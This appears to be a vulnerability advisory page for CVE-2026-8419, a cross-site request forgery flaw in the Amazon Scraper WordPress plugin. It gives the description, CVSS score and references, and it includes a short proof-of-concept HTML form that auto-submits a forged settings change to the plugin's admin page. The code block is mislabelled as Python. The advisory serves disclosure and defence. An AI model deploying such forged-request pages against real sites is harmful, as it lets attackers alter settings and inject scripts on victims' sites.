CVE-2026-8419

Description

The Amazon Scraper plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Amazon Scraper <= 1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-8419: CSRF to update settings -->
<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=amazon-scraper" method="POST">
      <input type="hidden" name="setting_key" value="malicious_script_value" />
      <input type="submit" value="Click Me" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8419
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8419
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8419/
[4] VulDB https://vuldb.com/cve/CVE-2026-8419
[5] https://plugins.trac.wordpress.org/browser/amazon-scraper/tags/1.1/amazon-admin.php#L13
[6] https://plugins.trac.wordpress.org/browser/amazon-scraper/tags/1.1/amazon-admin.php#L26
[7] https://plugins.trac.wordpress.org/browser/amazon-scraper/tags/1.1/amazon-admin.php#L45
[8] https://plugins.trac.wordpress.org/browser/amazon-scraper/tags/1.1/amazon-admin.php#L49
[9] https://plugins.trac.wordpress.org/browser/amazon-scraper/trunk/amazon-admin.php#L13
[10] https://plugins.trac.wordpress.org/browser/amazon-scraper/trunk/amazon-admin.php#L26
[11] https://plugins.trac.wordpress.org/browser/amazon-scraper/trunk/amazon-admin.php#L45
[12] https://plugins.trac.wordpress.org/browser/amazon-scraper/trunk/amazon-admin.php#L49
[13] https://www.wordfence.com/threat-intel/vulnerabilities/id/c956e4c5-bf7e-4ec4-b795-74d477a61694?source=cve

Raw JSON Data

JSON

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